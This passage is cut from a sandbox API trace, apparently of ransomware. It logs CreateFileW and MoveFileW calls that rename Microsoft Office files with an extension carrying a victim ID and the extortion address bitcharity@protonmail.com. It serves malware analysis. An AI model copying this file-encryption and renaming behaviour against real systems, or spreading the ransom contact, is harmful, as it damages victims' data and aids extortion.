Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR45B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir45b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.475] CloseHandle (hObject=0x1154) returned 1 [0264.475] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.476] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR45F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir45f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.476] CloseHandle (hObject=0x1154) returned 1 [0264.477] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.477] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR46B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir46b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.477] CloseHandle (hObject=0x1154) returned 1 [0265.052] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.052] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR46F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir46f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.054] CloseHandle (hObject=0x1068) returned 1 [0265.055] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.055] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR49F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir49f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.056] CloseHandle (hObject=0x1068) returned 1 [0265.062] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.062] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR4B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir4b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.062] CloseHandle (hObject=0x1068) returned 1 [0265.063] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.063] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR4F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir4f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.063] CloseHandle (hObject=0x1068) returned 1 [0265.064] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.064] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR50B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir50b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.064] CloseHandle (hObject=0x1068) returned 1 [0265.065] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.065] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR50F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir50f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.065] CloseHandle (hObject=0x1068) returned 1 [0265.066] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.066] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR51B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir51b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.066] CloseHandle (hObject=0x1068) returned 1 [0265.067] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.067] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR51F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir51f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.067] CloseHandle (hObject=0x1068) returned 1 [0265.069] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.069] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR5B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir5b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.069] CloseHandle (hObject=0x1068) returned 1 [0265.070] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.070] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR5F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir5f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.070] CloseHandle (hObject=0x1068) returned 1 [0265.072] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.072] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR6B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir6b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.072] CloseHandle (hObject=0x1068) returned 1 [0265.073] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.073] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR6F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir6f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.073] CloseHandle (hObject=0x1068) returned 1 [0265.074] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.074] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR7B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir7b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.074] CloseHandle (hObject=0x1068) returned 1 [0265.075] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.075] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR7F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir7f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.076] CloseHandle (hObject=0x1068) returned 1 [0265.076] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.076] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR8B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir8b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.077] CloseHandle (hObject=0x1068) returned 1 [0265.078] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.078] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR8F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir8f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.078] CloseHandle (hObject=0x1068) returned 1 [0265.079] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.079] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR9B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir9b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.079] CloseHandle (hObject=0x1068) returned 1 [0265.080] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.080] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR9F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir9f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.080] CloseHandle (hObject=0x1068) returned 1 [0265.083] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.083] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicelegant.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.083] CloseHandle (hObject=0x1068) returned 1 [0265.084] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.084] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicsimple.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.084] CloseHandle (hObject=0x1068) returned 1 [0265.085] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.085] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicstylish.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicstylish.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.085] CloseHandle (hObject=0x1068) returned 1 [0265.086] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.086] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwcapitalized.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.087] CloseHandle (hObject=0x1068) returned 1 [0265.087] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.087] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwclassic.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwclassic.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.088] CloseHandle (hObject=0x1068) returned 1 [0265.088] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.088] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwnumbered.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.089] CloseHandle (hObject=0x1068) returned 1 [0265.089] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.090] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\casual.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.090] CloseHandle (hObject=0x1068) returned 1 [0265.091] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.091] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\centered.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.198] CloseHandle (hObject=0x1068) returned 1 [0265.199] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzmain.accde"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzmain.accde.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0265.200] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwztool.accde"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwztool.accde.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0265.201] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.201] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\UTILITY.ACCDA.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\utility.accda.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.201] CloseHandle (hObject=0x1068) returned 1 [0265.202] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.202] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\msosec.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.202] CloseHandle (hObject=0x1068) returned 1 [0265.203] SetFilePointerEx 